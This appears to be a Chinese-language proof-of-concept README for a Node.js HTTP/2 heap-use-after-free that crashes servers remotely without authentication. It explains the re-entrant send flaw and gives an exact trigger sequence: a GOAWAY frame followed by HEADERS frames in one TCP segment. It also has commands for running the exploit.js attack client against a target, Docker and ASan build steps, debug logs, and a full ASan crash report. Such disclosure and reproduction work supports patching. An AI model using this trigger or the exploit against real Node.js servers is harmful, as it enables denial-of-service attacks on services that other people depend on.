Node.js HTTP/2 处理中的一个缺陷允许在
nghttp2_session_mem_recv()执行期间重入调用nghttp2_session_mem_send()，从而导致堆释放后使用（heap-use-after-free）。此漏洞影响 Node.js 26.x、24.x 和 22.x。
（注意：描述中提到的版本仅适用于上游 nodejs 包，不适用于 Alpine 分发的 nodejs 包。
| Release line | Vulnerable | Fixed |
|---|---|---|
| 22.x (LTS) | ≤ 22.23.1 | 22.23.2 |
| 24.x (LTS) | ≤ 24.18.0 | 24.18.1 |
| 26.x | ≤ 26.5.0 | 26.5.1 |
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — 通过堆损坏实现的远程、未认证 DoS）daa6d25e3dce — “http2: defer rst stream while in scope”（nodejs-private/node-private#921）在 src/node_http2.cc 中的 Http2Stream::SubmitRstStream() 会在将 RST_STREAM 加入队列前强制清除待发送的出站数据：```cpp
void Http2Stream::SubmitRstStream(const uint32_t code) {
CHECK(!this->is_destroyed());
code_ = code;
// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }
// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }
FlushRstStream(); }
`SendPendingData()` 调用 `nghttp2_session_mem_send()`（[node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970)）。它唯一的重入保护是 `is_sending()`，防止的是*发送过程中再次发送*（已有写操作在途）——**而不是接收过程中再次发送**。当 `SubmitRstStream()` 从 `nghttp2_session_mem_recv()` 回调链内部（“在作用域内”）运行时，清理操作会重入地执行 `mem_send()`。
重入的 `mem_send()` 会刷新那些发送侧处理会拆除流的帧（`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → 释放 C++ `Http2Stream`）。被释放的流仍被进行中的接收操作所引用：`SubmitRstStream()` 本身会在已释放的 `this` 上继续执行（其末尾的 `FlushRstStream()` 读取 `is_destroyed()`），而外层的 `mem_recv()` 会继续遍历已关闭流的帧/头状态 → **堆释放后使用**。
### 触发链（全部发生在同一次 `nghttp2_session_mem_recv()` 调用内）
1. 攻击者在一个 TCP 段中发送 `GOAWAY(lastStreamID=0, NO_ERROR)`，紧接着发送针对新流（3、5、7、…）的 `HEADERS` 帧。
2. 服务器的 `mem_recv()` 处理 GOAWAY → JS `session.close()` → `session.closed = true`，且一个出站 GOAWAY 被**提交但尚未发送**。
3. nghttp2 只在 GOAWAY 真正*发送*后才拒绝新的入站流（`session_allow_incoming_new_stream()` 检查的是 `TERM_ON_SEND | SENT`，而不是 `SUBMITTED`），因此 `HEADERS(3)` 仍会被接受。
4. JS `onSessionHeaders()` 在已关闭的会话上看到新流并予以拒绝：`handle.rstStream(NGHTTP2_REFUSED_STREAM)`（lib/internal/http2/core.js）。
5. C++ `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` 在作用域内（`mem_recv` 内部）运行，`REFUSED_STREAM ≠ CANCEL` → 落入 `SendPendingData()` → **重入的 `nghttp2_session_mem_send()`**。
6. 重入的发送刷新出站 GOAWAY；nghttp2 发送侧的 GOAWAY 处理会关闭 id > 1 的入站流（`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`），触发 `on_stream_close` → `Http2Stream::Destroy()` 释放流 3 对应的 C++ 流对象。
7. 执行回退到已释放对象上的 `SubmitRstStream()`（`FlushRstStream()`），外层 `mem_recv()` 在已损坏的会话/流状态上恢复执行 → UAF。
来自易受攻击服务器上 `NODE_DEBUG_NATIVE=http2` 的证据（一次 86 字节读取）：```
receiving 86 bytes, offset 0
complete frame received: type: 7 ← GOAWAY
submitting goaway ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3 ← still accepted (only SUBMITTED)
handle headers frame for stream 3 ← JS: session.closed → refuse
sending rst_stream with code 7 ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data ← RE-ENTRANT mem_send()
stream 3 closed with code: 7 ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream ← Http2Stream freed mid-recv
在线缆级别的输出在存在漏洞的构建和已修补的构建上是相同的（两者最终都只发送出站 GOAWAY——在存在漏洞的构建上，RST 是针对已关闭的流提交的；在已修补的构建上，nghttp2 在 GOAWAY 先发出后会丢弃已排队的 RST）。差异是内部的，可通过 NODE_DEBUG_NATIVE=http2 观察：
sending pending data 出现在 sending rst_stream with code 7 和 stream 3 closed with code: 7 之间——可重入的 mem_send() 在接收过程中运行，并在 mem_recv() 仍在进行时关闭/销毁流 3（在 ASan 下崩溃）。sending pending data——RST 仅被排队；流 3 仅在正常接收后刷新期间关闭。server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger
### 快速运行```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000 # NODE_BIN=/path/to/node for a specific binary
# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200
./bin/node（下面使用的本地 ASan 构建）未在 git 中跟踪 — 请按
“构建带有 ASan 插桩的易受攻击的 Node.js”下的说明构建它，
或使用 Docker 方式。
该漏洞利用程序会报告每个连接的状态；第一次连接后就出现 SKIPPED (no handshake)
表示目标已经因攻击而崩溃。
Dockerfile 会在容器内构建一个带有 ASan 的易受攻击的 v22.23.1 目标（无需本地工具链 — 只需 Docker 守护进程）：```bash
docker build -t cve-2026-56848 .
docker run --rm -p 8000:8000 --name cve-target cve-2026-56848
node exploit.js --port 8000 --iterations 10
docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed
提示：如果你已经在其他地方构建了带有 ASan 检测的 `node` 二进制文件，可以跳过冗长的编译并直接打包：```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
&& cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
--change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
--change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
cve-img cve-2026-56848:verified
已针对容器化目标验证：首次攻击连接会产生
ERROR: AddressSanitizer: heap-use-after-free ... ABORTING（出现在 docker logs 中），
容器随即退出（在 linux/arm64 上为 133）——与本机 ASan 运行时的 UAF 相同。
使用官方镜像的普通（非 ASan）变体，用于在不进行自定义构建的情况下进行反复攻击测试：```bash
docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js
node:22.23.1-alpine node /server.js 8000
注意：如果 ASan 在容器内因 shadow-memory 范围错误而无法启动（在某些 `vm.mmap_rnd_bits` 较高的 ARM64 内核上会出现），请在 Docker 主机上降低熵值：`sysctl vm.mmap_rnd_bits=28`。
### 构建一个经 ASan 插桩的易受攻击的 Node.js```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)
# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --debug --ninja && ninja -C out/Debug node
ASan 构建能够确定性地复现堆释放后使用（heap-use-after-free）问题（通常在前几次连接时）。普通 release 构建通常不会崩溃，因为被释放的内存块不会立即被重用；持续攻击可以提高概率，但 ASan 才是演示此内存破坏的可靠方式。
| 目标 | 结果 |
|---|---|
| v22.23.1 + ASan（存在漏洞） | 在首次攻击连接时崩溃：heap-use-after-free → SIGABRT，runner 退出码 0 |
| v22.23.2（已修补） | 能够承受所有连接，runner 退出码 1 |
ASan 报告（摘录，v22.23.1 macOS arm64 构建）：``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 1 at 0x60d000003cdc thread T0 #0 session_end_stream_headers_received nghttp2_session.c:3711 #1 session_after_header_block_received nghttp2_session.c:3824 #2 nghttp2_session_mem_recv2 nghttp2_session.c:6506 #3 nghttp2_session_mem_recv nghttp2_session.c:5421 #4 node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
freed by thread T0 here: ... #5 nghttp2_session_destroy_stream nghttp2_session.c:1369 #6 nghttp2_session_close_stream nghttp2_session.c:1350 #7 session_close_stream_on_goaway nghttp2_session.c:2442 #8 session_after_frame_sent1 nghttp2_session.c:2665 #9 nghttp2_session_mem_send2 nghttp2_session.c:3144 ← re-entrant send #10 node::http2::Http2Session::SendPendingData() node_http2.cc:1970 #11 node::http2::Http2Stream::SubmitRstStream(...) node_http2.cc:2535
外层的 `mem_recv()` 从流 3 的 `nghttp2_stream` 中读取 `stream->shut_flags` —— 该结构已被可重入的 `mem_send()` 中的 GOAWAY 处理所释放 —— 这正是公告中所描述的重入情形。```zsh
➜ ./bin/node server.js 8000
[server] listening on 8000
=================================================================
==46874==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000003cdc at pc 0x00010984c5fc bp 0x00016b3e8c60 sp 0x00016b3e8c58
READ of size 1 at 0x60d000003cdc thread T0
#0 0x00010984c5f8 in session_end_stream_headers_received nghttp2_session.c:3711
#1 0x00010983e7d8 in session_after_header_block_received nghttp2_session.c:3824
#2 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#3 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#4 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#5 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#6 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#7 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#8 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#9 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#10 0x0001085e025c in uv__read stream.c:1148
#11 0x0001085d5568 in uv__stream_io stream.c:1208
#12 0x000108600844 in uv__io_poll kqueue.c:423
#13 0x000108599e94 in uv_run core.c:460
#14 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#15 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#16 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#17 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#18 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#19 0x00010928e3d4 in main node_main.cc:97
#20 0x000189482b94 (<unknown module>)
0x60d000003cdc is located 124 bytes inside of 136-byte region [0x60d000003c60,0x60d000003ce8)
freed by thread T0 here:
#0 0x000117991424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d424)
#1 0x000104bebe3c in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:261
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f80 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::FreeImpl(void*, void*) node_mem-inl.h:83
#4 0x00010981a450 in nghttp2_mem_free nghttp2_mem.c:61
#5 0x000109825aa8 in nghttp2_session_destroy_stream nghttp2_session.c:1369
#6 0x0001098258ac in nghttp2_session_close_stream nghttp2_session.c:1350
#7 0x00010983002c in session_close_stream_on_goaway nghttp2_session.c:2442
#8 0x000109828e64 in session_after_frame_sent1 nghttp2_session.c:2665
#9 0x000109826804 in nghttp2_session_mem_send2 nghttp2_session.c:3144
#10 0x000109826724 in nghttp2_session_mem_send nghttp2_session.c:3124
#11 0x00010509e878 in node::http2::Http2Session::SendPendingData() node_http2.cc:1970
#12 0x0001050a359c in node::http2::Http2Stream::SubmitRstStream(unsigned int) node_http2.cc:2535
#13 0x0001050b973c in node::http2::Http2Stream::RstStream(v8::FunctionCallbackInfo<v8::Value> const&) node_http2.cc:3044
#14 0x0001086163d4 in Builtins_CallApiCallbackGeneric+0xb4 (node:arm64+0x103c0e3d4)
#15 0x00010861432c in Builtins_InterpreterEntryTrampoline+0x10c (node:arm64+0x103c0c32c)
#16 0x0001086117c8 in Builtins_JSEntryTrampoline+0xa8 (node:arm64+0x103c097c8)
#17 0x0001086114b0 in Builtins_JSEntry+0x90 (node:arm64+0x103c094b0)
#18 0x000105ff5358 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:418
#19 0x000105ff408c in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) execution.cc:504
#20 0x00010590caac in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) api.cc:5485
#21 0x000104af5168 in node::InternalMakeCallback(node::Environment*, v8::Local<v8::Object>, v8::Local<v8::Object>, v8::Local<v8::Function>, int, v8::Local<v8::Value>*, node::async_context, v8::Local<v8::Value>) callback.cc:237
#22 0x000104b69780 in node::AsyncWrap::MakeCallback(v8::Local<v8::Function>, int, v8::Local<v8::Value>*) async_wrap.cc:665
#23 0x0001050a463c in node::http2::Http2Session::HandleHeadersFrame(nghttp2_frame const*) node_http2.cc:1567
#24 0x000105092e68 in node::http2::Http2Session::OnFrameReceive(nghttp2_session*, nghttp2_frame const*, void*) node_http2.cc:1107
#25 0x00010982b5b0 in session_call_on_frame_received nghttp2_session.c:3229
#26 0x00010983e72c in session_after_header_block_received nghttp2_session.c:3815
#27 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#28 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#29 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
previously allocated by thread T0 here:
#0 0x000117991520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
#1 0x000104bebe58 in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:265
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f3c in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::MallocImpl(unsigned long, void*) node_mem-inl.h:77
#4 0x00010981a3a0 in nghttp2_mem_malloc nghttp2_mem.c:57
#5 0x000109824728 in nghttp2_session_open_stream nghttp2_session.c:1227
#6 0x000109829ee8 in nghttp2_session_on_request_headers_received nghttp2_session.c:3910
#7 0x00010983c454 in session_process_headers_frame nghttp2_session.c:4058
#8 0x000109833ad4 in nghttp2_session_mem_recv2 nghttp2_session.c:5657
#9 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#10 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#11 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#12 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#13 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#14 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#15 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#16 0x0001085e025c in uv__read stream.c:1148
#17 0x0001085d5568 in uv__stream_io stream.c:1208
#18 0x000108600844 in uv__io_poll kqueue.c:423
#19 0x000108599e94 in uv_run core.c:460
#20 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#21 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#22 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#23 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#24 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#25 0x00010928e3d4 in main node_main.cc:97
#26 0x000189482b94 (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free nghttp2_session.c:3711 in session_end_stream_headers_received
Shadow bytes around the buggy address:
0x60d000003a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003a80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x60d000003b00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x60d000003b80: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003c00: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
=>0x60d000003c80: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa
0x60d000003d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==46874==ABORTING
[1] 46874 abort ./bin/node server.js 8000